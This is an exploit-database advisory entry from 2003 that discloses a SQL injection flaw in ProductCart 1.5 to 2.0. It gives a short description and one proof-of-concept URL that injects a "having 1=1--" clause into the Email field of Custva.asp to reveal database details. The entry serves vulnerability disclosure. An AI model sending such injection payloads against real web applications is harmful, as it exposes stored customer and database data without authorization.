ProductCart 1.5/1.6/2.0 - 'Custva.asp' SQL Injection

EDB-ID:

22864

CVE:

N/A


Author:

Bosen

Type:

webapps


Platform:

ASP

Date:

2003-07-04


source: https://www.securityfocus.com/bid/8103/info

ProductCart has been reported prone to an SQL injection vulnerability that may be exploited to reveal information relating to the underlying database; other attacks may also be possible.

http://www.example.com/productcart/pc/Custva.asp?redirectUrl=&Email=%27+having+1
%3D1--&_email=email&password=asd&_password=required&Submit.x=33&Submit.y=5&Submit=Submit